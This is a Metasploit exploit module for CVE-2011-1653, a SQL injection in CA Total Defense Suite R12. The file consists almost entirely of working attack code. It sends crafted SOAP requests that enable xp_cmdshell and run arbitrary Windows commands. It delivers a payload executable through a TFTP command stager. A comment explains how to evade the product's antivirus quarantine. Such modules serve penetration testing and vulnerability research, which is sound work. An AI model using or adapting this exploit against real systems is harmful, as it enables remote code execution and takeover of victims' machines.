##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA Total Defense Suite reGenerateReports Stored Procedure SQL Injection',
      'Description'    => %q{
          This module exploits a SQL injection flaw in CA Total Defense Suite R12.
        When supplying a specially crafted soap request to '/UNCWS/Management.asmx', an
        attacker can abuse the reGenerateReports stored procedure by injecting arbitrary sql
        statements into the ReportIDs element.

      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'ZDI', '11-134' ],
          [ 'OSVDB', '74968'],
          [ 'CVE', '2011-1653' ],
        ],
      'Targets'	=>
        [
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ]
        ],
      'CmdStagerFlavor' => 'tftp',
      'Privileged' => true,
      'Platform' => 'win',
      'DisclosureDate' => 'Apr 13 2011',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(34443),
        OptBool.new('SSL',   [ true, 'Use SSL', true ]),
        OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
      ])
  end

  def windows_stager
    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
    execute_cmdstager({ :temp => '.' })
    @payload_exe = generate_payload_exe

    print_status("Attempting to execute the payload...")
    execute_command(@payload_exe)

  end

  def execute_command(cmd, opts = {})

    #	NOTE: This module was tested against the MS SQL Server 2005 Express bundled with
    #	CA Total Defense Suite R12. CA's Total Defense Suite real-time protection
    #	will quarantine the default framework executable payload. Choosing an alternate
    #	exe template will bypass the quarantine.

    inject = [
        "'') exec master.dbo.sp_configure 'show advanced options', 1;reconfigure;--",
        "'') exec master.dbo.sp_configure 'xp_cmdshell',1;reconfigure;--",
        "'') exec master.dbo.xp_cmdshell 'cmd.exe /c #{cmd}';--",
      ]

    inject.each do |sqli|

    soap = %Q|<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <reGenerateReports xmlns="http://tempuri.org/">
      <EnterpriseID>msf</EnterpriseID>
      <ReportIDs>#{sqli}</ReportIDs>
      <UserID>187</UserID>
    </reGenerateReports>
  </soap12:Body>
</soap12:Envelope>
    |

    res = send_request_cgi(
      {
        'uri'   =>  '/UNCWS/Management.asmx',
        'method' => 'POST',
        'version' => '1.0',
        'ctype' => 'application/soap+xml; charset=utf-8',
        'data' => soap,
      }, 5)

    if ( res and res.body =~ /SUCCESS/ )
        #print_good("Executing command...")
      else
        fail_with(Failure::Unknown, 'Something went wrong.')
      end
    end

  end

  def exploit

    unless datastore['CMD'].blank?
      print_status("Executing command '#{datastore['CMD']}'")
      execute_command(datastore['CMD'])
      return
    end

    case target['Platform']
      when 'win'
        windows_stager
      else
        fail_with(Failure::Unknown, 'Target not supported.')
    end

    handler

  end
end
__END__
POST /UNCWS/Management.asmx HTTP/1.1
Host: 192.168.31.129
Content-Type: application/soap+xml; charset=utf-8
Content-Length: length

<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <reGenerateReports xmlns="http://tempuri.org/">
      <EnterpriseID>string</EnterpriseID>
      <ReportIDs>string</ReportIDs>		<--boom!!
      <UserID>long</UserID>
    </reGenerateReports>
  </soap12:Body>
</soap12:Envelope>
